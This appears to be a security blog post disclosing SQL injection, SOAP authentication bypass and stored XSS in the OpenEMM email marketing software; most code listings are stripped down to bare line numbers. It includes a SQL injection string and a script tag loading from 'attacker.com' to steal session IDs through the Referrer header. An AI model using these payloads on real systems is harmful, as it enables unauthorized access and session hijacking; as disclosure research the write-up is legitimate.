OpenEMM is one of the most popular enterprise-grade email marketing software currently on the market; the best part of it, too, is that it’s free and open source. The entire stack is java, with some random shell/Python scripts for configuration. On inspection of the software, it appeared there were several SQL injection vulnerabilities due in part to a lack of input sanitation. This vulnerability was privately disclosed to the vendor, and a patch will be released shortly and backported to OpenEMM 2013 and 2011.
Paramaterized queries are not used consistently throughout the application; there are instances of paramterized queries, queries with basic sanitization, and queries without sanitization at all. SQL queries are sanitized with the following function (SafeString.java):
1 2 3 4 5 6 7 8 9 10
This function inadequately sanitizes input. The following malicious input would successfully slip through:
Which, when inserted into an example query
SELECT * FROM admin WHERE username = '$user'; becomes
SELECT * FROM admin WHERE username = '\'' AND UNION SELECT 1,2,3;-- ';
This sanitation function is used throughout OpenEMM, and any OpenEMM server exposing WSDL, or Web Services Description Language, is vulnerable. A default OpenEMM installation exposes a handful of useful functions that allow a remote application/user access to various tables in the database. Each function requires authentication, which runs through the following routine (WebServiceBase.java):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
As shown, the vulnerable
getSQLSafeString method is used in an attempt to sanitize input before building and executing the query. This leads to a very trivial authentication bypass vulnerability, allowing any malicious user access to every WSDL function (found at
The following code will bypass SOAP authentication and add a new mailing list:
1 2 3 4 5 6 7 8 9
This requires a very basic WSDL file, which is included with an OpenEMM installation as well as the bottom of this post. I’ve included exploit code that exploits several of these functions:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
Our “end goal” for this exploit is, however, not just adding mailing lists or deleting content; we’d like to obtain a web shell. As OpenEMM is written in Java (struts), Java Server Pages (JSP) are invoked server-side to render client-side pages. Theoretically, we should be able to dump a malicious JSP file into a readable/writable directory and obtain a remote shell.
Unfortunately (fortunately for users/OpenEMM, though), the user used to connect to the MySQL database does not have FILE permissions:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
This is the user specified by
webapps/openemm/WEB-INF/classes/emm.properties. As shown, we have only basic access to the databases. In the event that this user and permissions are modified, it is possible to upload a web shell, but in its default state, you cannot.
From this SQL injection, then, we have authentication bypass and information disclosure. Because this interface inserts data directly into databases, and does not go through a unified channel (i.e. for their basic sanitation methods), several fields are vulnerable to XSS, including a new mailing list’s Description field:
1 2 3 4 5
With this, we can siphon off session ID’s by simply injecting
<script src="http://attacker.com"/>. We do not need to send document.cookie because, surprise, session ID’s are not stored as a cookie, but rather passed around through each GET/POST request. Therefore, the Referrer header will contain the jsessionid required to hijack the session. Our hijacked request looks as such:
1 2 3 4 5 6 7 8 9 10 11 12 13
We then simply make the same request in the Referrer field and we’ve got access to the account.